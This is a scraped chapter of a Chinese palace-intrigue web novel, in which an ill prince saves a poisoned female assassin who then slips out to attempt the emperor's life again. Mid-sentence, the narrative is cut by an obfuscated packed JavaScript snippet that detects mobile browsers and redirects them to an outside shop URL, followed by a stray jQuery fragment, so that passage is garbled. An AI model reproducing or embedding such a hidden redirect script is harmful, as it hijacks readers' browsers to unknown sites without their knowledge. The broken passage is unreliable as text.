默认冷灰
24号文字
方正启体

2. 第 2 章

作者:睡不着睡不着本书字数:K更新时间:
    一辆马车缓缓行驶在宫道,正要出神武门时,被守卫拦住。


    “瞎了你们的狗眼,没看到这是襄阳王的座驾吗?”


    听到马车上侍从的冷斥以及其口中的襄阳王,守卫面面相觑,眼神露出些许忌惮。


    襄阳王高玉桢乃当今圣上的亲弟弟,曾经唯皇帝马首是瞻,征战沙场的辅国大将军。


    在马背上英姿飒爽的少年郎,年少轻狂,无数功名加身,却因心狠手辣,阴冷寡情的性子,让所有人畏惧。


    可自五年前,大败柔然后,便突染恶疾,一病不起。


    直到现在,世人逐渐忘却那个鲜衣怒马的少年将军,只记得如今的病秧子襄阳王。


    领头躬身抱拳,“程大人,委实对不住,末将只是奉命行事。”


    “宴会出现刺客,上头下令此时只进不出。”


    “就委屈一下襄阳王殿下,别为难末将了。”


    程辛都气笑了,真是虎落平阳被犬欺。


    “你说什么?委屈襄阳王殿下?你哪来的脸敢说出这种狗嘴吐不出象牙的话?!”


    话罢,他扬起马鞭,眼神狠厉地指着面前的禁军。


    这时,车帘被一只苍白修长的手撩起,高玉桢眉间漠然,捂着帕子咳嗽,掀起眼皮,眸色淡淡地看向领头。


    领头心一紧,一股寒意猛然从脊背窜至大脑。


    他低头,恭敬抱拳,缓缓退到一边,沉默地让开一条道。


    高玉桢:“走吧。”话音刚落,他放下帘子,回到车内。


    程辛瞪了领头一眼,胸口依旧愤愤不平。


    要是当年的襄阳王,非得砍了这群狗眼看人低的贱奴才不可。


    马车停靠在襄阳王府,车内,昏迷的女子浑身湿透,盖着一件披风,躺在高玉桢脚边。


    湖水的寒冷如同附骨之疽,紧紧扒在身上挥之不去。


    高玉桢脸色发白,捂着帕子不断地咳嗽,披散在身后的长发还带着些许的湿意。


    这时,帘子被人掀起,程辛嫌弃地瞥了眼地上的阿盈,抱怨道:“殿下,你干嘛非要救她?”


    她可是刺杀圣上的刺客,有必要救吗?


    还不顾自己的身体,再则要是被圣上知道,以他的性子,定然不会善罢甘休。


    高玉桢没回答他,“把人送府,找大夫过来……咳咳咳!”


    猛烈的咳嗽好似要把肺给咳出来。


    突然,他感觉到嘴里腥甜,垂眸一看纯白手帕染上点点红梅,蹙眉,不着痕迹地收起来。


    程辛嘟嘟囔囔地边埋怨,边把人背上,走进王府。


    房间内,大夫正替阿盈号脉,他眉间隆起,脸色凝重,看上去不太妙。


    “殿下,此女中毒,但似乎是之前服用过药,护住了心脉,可终究治标不治本,如果要解毒,有些棘手。”


    程辛趁机说:“那既然这样,就别治了,我们殿下的身体还因为这丫头加重了病情,你快点,先给我们殿下看看。”


    惹来高玉桢冷淡一瞥,他缩了缩脖子,没出声了。


    高玉桢淡声道:“需要什么药,我让人去找。”


    大夫叹气,“这味药是龙齿草,太过罕见,怕是这姑娘没救了。”


    “龙齿草?!”程辛忍不住惊呼。


    看到自家殿下的目光,立马捂住嘴。


    高玉桢:“正好府上有这味药,程辛去取来,给大夫去煎熬。”


    程辛立马拒绝,“不行!殿下,这药对你来说很重要,如果没了这味药,那您的身体……”


    话还没说完,被他抬手打断。


    大夫原本米粒的眼睛瞬间瞪圆,激动说:“殿、殿下,您这儿有?”


    “这龙齿草乃生长在断崖峭壁、严寒之地,且千年难遇,殿下是怎么找到这味药材的?”


    高玉桢冷眼看向程辛,语气坚定,“去取。”


    程辛满脸不赞同,“殿下!”


    高玉桢目光倏然阴沉下来,“莫要让本王说第三遍。”


    程辛攥紧手心,很是不情愿,低头,“是。”看向大夫,“你跟我来吧。”


    大夫见襄阳王不说,便缠着程辛询问,两人同时出去,房间再次恢复安静。


    高玉桢坐在床边,目光沉沉,凝视着面容平凡的女子。


    原以为是个寻常宫女,没想到竟然是个武艺超群、懂得临机应变的刺客。


    遗憾的是,她没摸清楚情况,他的好哥哥贪生怕死,可身边就连一阉人都身手不凡,最终白白错失良机。


    下次动手就没这么容易了。


    不过死了挺可惜,何不为他所用,送到大皇子府上,调查私军一事。


    半年前,高玉桢的人在赤溪山发现有操练兵马、锻造兵器留下的痕迹。


    仔细勘验后,判定其不属大齐任何营伍,但意外的是,在现场的草丛拾得一枚属于大皇子府的令牌。


    他静坐在床边木凳,盯着昏迷不醒的女子,她眉心微蹙,脸色死白,不像是病人的脸色,和脖子上有些出入。


    好似隔着什么东西。


    高玉桢皱起眉间,眸色沉郁,神色闪过一丝犹疑,手指蜷缩,正准备伸去,忽觉身后一阵脚步。


    煎好的药被程辛亲自端了上来,按他的话说,这么珍贵的药材,他不放心交给别人。


    夜半三更,冷风吹动扇窗,发出令人发酸地吱呀声,周遭寂静得掉根针都能听见。


    床上的女子长睫轻动,下一秒缓慢睁开双眼,入眼是浅灰色的帷幔。


    她意识到不对,刚要起身,结果起得太猛,伤及身体,又重重地倒在床上。


    房间空旷安静,只有她微微喘息的声音。


    阿盈冷汗涔涔,强忍住痛,伸手朝身后一模,心稍稍落下,下床,来到桌前猛灌了一口水。


    水喝够之后,她才开始打量四周,警惕地目光巡视着昏暗的房间,没人,只有倒映在墙壁的树影张牙舞爪,彰显出几分诡谲。


    她抽出腰后短刀,横挡在胸口防备,凝望着紧闭的木门,深呼吸,小心翼翼地从窗户翻身出去。


    赤脚站在院子里,树枝摇晃,白色樱花扑簌簌地掉落,又随着微风吹向半空,漫天飞舞。


    阿盈目光一顿,神情戒备,微微眯起眼睛,凝视着前方安静站着的白衣男人。


    可待对方靠近,看清楚来人的样貌时,她瞳孔地震,呆愣在原地。


    他眉眼清俊隽秀,眼裂圆而狭长,算不上标准的凤眼,却自有一种别样风情。些许泛红的眼尾却微微上翘,清冷寡淡中又隐约透着几分秾丽的媚,瞳孔乌黑沉郁,静静地凝视着她。


    漫天樱花作为陪衬,月光莹润温柔,撒落在男人身上。


    白衣胜雪,身形挺拔,芝兰玉树般,为他渡上一层圣洁神性的柔和光晕。


    阿盈脑海中倏地浮现出湖底看到宛如天人的脸。


    是他救了自己。


    她忽然心好似被什么东西撞了下,酥酥痒痒。


    不过片刻,她恍然回神,脸色冷冽,将短刀横在胸口,谨慎地后退。


    他眉眼柔和,含笑轻声道:“能下床,看来没有伤及根本。”


    是他救了自己,这人能从皇宫将她带出来,绝非等闲之辈。


    她冷声问:“你是谁?”


    高玉桢朝她靠近,阿盈慌乱地后退,下意识摸了摸脸,人皮面具还在,她训斥道:“别过来!”


    “这般紧张?那怎么有胆子去行刺皇帝?”


    他语气淡淡,她却分明听出嘲讽之意。


    阿盈深吸气,“这与你无关。”


    他缓步走到石桌前坐下,捂着嘴轻轻咳嗽,嗓音带着微微的沙哑,“是与我无关,可我救了你。”


    “你不应该要报恩吗?”


    报恩?她瞪圆眼睛看他,下意识捂紧钱袋子。


    阿盈咬住下唇,有点不情愿道:“那你要多少钱?”


    “不管要多少钱,我得杀了皇帝才能拿到钱给你。”


    闻言,高玉桢目光微闪,“皇帝不是那么好杀的,连情况都没搞清楚,便贸然行动,你们江湖杀手都这么天真的吗?”


    这话可真难听。


    阿盈打量着他那张脸皮,想着他怎么顶着这么漂亮的脸,说这么难听的话。


    但她也知道这次是她自负了。


    多年行走江湖从未失手,便自以为天下无敌,可自由出入皇宫,自负到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499711|202674||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    连杀皇帝都想得这么简单。


    “你既救了我,想必和皇帝不和,皇帝死了对你也有好处,不是吗?”


    她勾唇,以笑掩盖痛苦,看向他。


    还挺敏锐。高玉桢心想。


    他漫不经心地问:“是谁派你来杀他的?”


    这话让阿盈生出警惕之心,偏头,“我虽然身为杀手,却也是有职业操守的,雇主消息怎可泄露给外人。”


    高玉桢看着她,乌黑地瞳孔紧盯着她的脸,面色淡然。


    阿盈莫名感到一种压迫,下意识屏住呼吸,警惕地后退。


    冷风凛冽,树叶被刮得沙沙作响。


    气氛一时僵持不下。


    她正欲说些什么,他又开口道:“难受就去床上躺着,有什么事要做什么,伤好之后再说。”


    他站起来,转身就要离开。


    “谢谢。”一道柔软地声音让他脚步顿住。


    高玉桢侧眸,撞进一双明亮坚定地眸子,恍惚间,耳边好似听见了什么破裂声。


    他收回视线,掀唇无声嗤笑,离开了院子。


    阿盈看着他消失在门口,骤然捂住胸口,支撑不住,手扶着大树,跪坐在地上,大口喘息。


    无论他是谁都不重要,同样,那身穿一袭黑袍,遮得严严实实的买家是谁也不重要了。


    重要的是皇帝她杀定了。


    并非只为任务赏金,她忆及从前亲手葬过的饿殍稚子,再对照此前那场挥霍无度的宴席,两相对比,真是天壤之别。


    阿盈入宫伪装宫女潜入之际,亲眼所见,


    那金碧辉煌的宫殿里,乐伎奏响乐器,宫女捧杯侍立,高高在上的皇帝纵情享乐,底下众人的案上珍馐琳琅满目,挥霍无度。


    怕是都不曾看过与狗争食的贫苦百姓,也不曾见过饿殍遍野、衣不蔽体的冻死骨。


    三日后,侍女端来滋补的汤药。


    阿盈接过,面无表情地望着,却捏着鼻子,正一口饮尽,忽然侍女双手递来珍果蜜饯。


    “姑娘,这是殿下特意吩咐的。”


    她闻言,抬眸看了侍女一下,将汤药喝尽,再喂以蜜饯掩盖苦涩。


    “谢谢。”


    “对了,你们主子呢?”


    侍女小心地看了她一眼,拿起碗安静地走了出去。


    她想着他们应该是被交代过,不能乱说话。


    起身打开门,悄无声息地走了出去。


    避开下人,她绕了几个弯,经过一处地方,突然听见熟悉的咳嗽声。


    “殿下,您行行好,把药喝了吧,余老若是知晓你这般不爱惜身体,又该发脾气了。”


    程辛无奈地看着靠在床头,面容憔悴苍白的高玉桢,将手里的药一再往前递。


    “哎呦,这病怎么就好不了呢,上苍怎么就不开眼呢,当年您大败柔然,可是造福了大齐所有百姓。”


    “如此功德,怎么就突然患上恶疾了?属下是真想不通。”


    “而且您居然还把最重要的一味药材给了那女子,要是余老知晓,指定骂我个狗血淋头。”


    高玉桢冷淡地瞥了他一眼,“你还要念叨几时?”


    程辛识趣地闭上嘴,高玉桢拿过他手里的药,直接灌进嘴里。


    他又憋不住话了,小声嘀咕:“那老皇帝真淫性,几天前还遭遇刺杀,选秀居然原封不动的举行,怕是以为自己没几年命,想玩个够。”


    高玉桢:“你在说什么?”


    程辛急忙摇头,“没,没什么。”


    药材?给她了吗……


    他身为襄阳王,却染上恶疾,需要用到的药材定然万分珍贵。


    不然他身边的侍从不会这么在意。


    这襄阳王竟如此仁善,还有那蜜饯,当真是心细如发。


    阿盈不觉为之动容,心底划过一道暖流。


    忽而里面压低声音,好在她自小习武,能清楚地听见里面的声音。


    皇帝竟然要选秀,时不待她,这次机会绝对不能再错过。


    至于报恩,那就等她杀了皇帝回来再说。


    阿盈最后深深地看了一眼高玉桢,悄然隐退,来到一处围墙,翻越而出。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)